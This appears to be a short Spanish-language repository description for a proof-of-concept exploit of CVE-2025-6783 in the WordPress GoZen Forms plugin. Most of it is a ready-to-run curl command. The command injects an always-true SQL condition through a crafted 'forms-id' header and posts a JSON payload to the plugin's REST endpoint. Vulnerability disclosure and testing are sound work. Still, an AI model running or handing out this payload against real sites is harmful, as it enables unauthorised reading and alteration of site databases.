jfriedli/cve-2025-6783Exploit de prueba de concepto para CVE-2025-6783 que demuestra inyección SQL a través de cabeceras HTTP manipuladas y payload JSON contra el endpoint de la API REST de WordPress GoZen Forms.
Inyecta una condición siempre verdadera en la cláusula WHERE para que todas las filas coincidan:
curl -i -X POST \
-H "Content-Type: application/json" \
-H "forms-id: poc-001' OR '1'='1' -- " \
-H "domain-id: example.com" \
-d '{
"emabed_type":"iframe",
"shortcode_title":"INJECTED",
"shortcode_tag":"[xss]",
"active":0
}' \
"http://your-site.com/index.php?rest_route=/gozen-forms/v1/embedsc"